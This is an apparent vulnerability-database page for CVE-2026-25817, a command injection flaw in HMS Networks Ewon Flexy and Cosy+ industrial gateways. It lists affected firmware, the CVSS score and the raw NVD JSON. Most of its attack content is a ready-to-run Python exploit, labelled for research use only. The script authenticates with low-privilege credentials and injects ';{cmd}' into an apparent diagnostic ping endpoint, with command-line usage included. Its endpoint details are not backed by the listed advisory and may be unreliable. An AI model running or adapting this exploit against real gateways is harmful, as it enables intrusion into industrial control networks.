Security Vulnerability Report
中文
CVE-2026-25817 CVSS 8.8 HIGH

CVE-2026-25817

Published: 2026-03-13 19:54:25
Last Modified: 2026-04-27 19:18:47

Description

HMS Networks Ewon Flexy with firmware before 15.0s4, Cosy+ with firmware 22.xx before 22.1s6, and Cosy+ with firmware 23.xx before 23.0s3 have improper neutralization of special elements used in an OS command allowing remote code execution by attackers with low privilege access on the gateway, provided the attacker has credentials.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

HMS Networks Ewon Flexy < 15.0s4
HMS Networks Ewon Cosy+ firmware 22.xx < 22.1s6
HMS Networks Ewon Cosy+ firmware 23.xx < 23.0s3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-25817 PoC - HMS Networks Ewon OS Command Injection # Target: Ewon Flexy/Cosy+ gateway with valid low-privilege credentials def exploit_cve_2026_25817(target_url, username, password, cmd='whoami'): """ Exploit OS command injection in HMS Networks Ewon gateway Args: target_url: Base URL of the target gateway username: Valid username for authentication password: Valid password cmd: Command to execute on the target system Returns: Command output from the target system """ session = requests.Session() # Step 1: Authentication login_url = f"{target_url}/api/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return None print(f"[+] Authentication successful") # Step 2: Inject OS command via ping/trace diagnostic feature # The vulnerability exists in the diagnostic input field diag_url = f"{target_url}/api/diagnostic/ping" # OS command injection payload: terminate original cmd and inject new one injection_payload = f";{cmd}" diag_data = { 'target': injection_payload, 'count': '1' } response = session.post(diag_url, data=diag_data, timeout=10) if response.status_code == 200: print(f"[+] Command injection successful: {cmd}") return response.text else: print(f"[-] Exploitation failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} https://192.168.1.100 admin pass123 whoami") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] command = sys.argv[4] result = exploit_cve_2026_25817(target, user, pwd, command) if result: print(f"\n[Output]\n{result}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25817", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:25.283", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "HMS Networks Ewon Flexy with firmware before 15.0s4, Cosy+ with firmware 22.xx before 22.1s6, and Cosy+ with firmware 23.xx before 23.0s3 have improper neutralization of special elements used in an OS command allowing remote code execution by attackers with low privilege access on the gateway, provided the attacker has credentials."}, {"lang": "es", "value": "HMS Networks Ewon Flexy con firmware anterior a 15.0s4, Cosy+ con firmware 22.xx anterior a 22.1s6, y Cosy+ con firmware 23.xx anterior a 23.0s3 tienen una neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo, permitiendo la ejecución remota de código por atacantes con acceso de bajo privilegio en la pasarela, siempre que el atacante tenga credenciales."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://hmsnetworks.blob.core.windows.net/nlw/docs/default-source/products/cybersecurity/security-advisory/hms-security-advisory-2026-03-09-001---ewon-several-flexy-and-cosy--vulnerabilities.pdf?sfvrsn=f7c027b8_13", "source": "[email protected]"}, {"url": "https://www.hms-networks.com/p/flexy20500-00ma-ewon-flexy-205", "source": "[email protected]"}]}}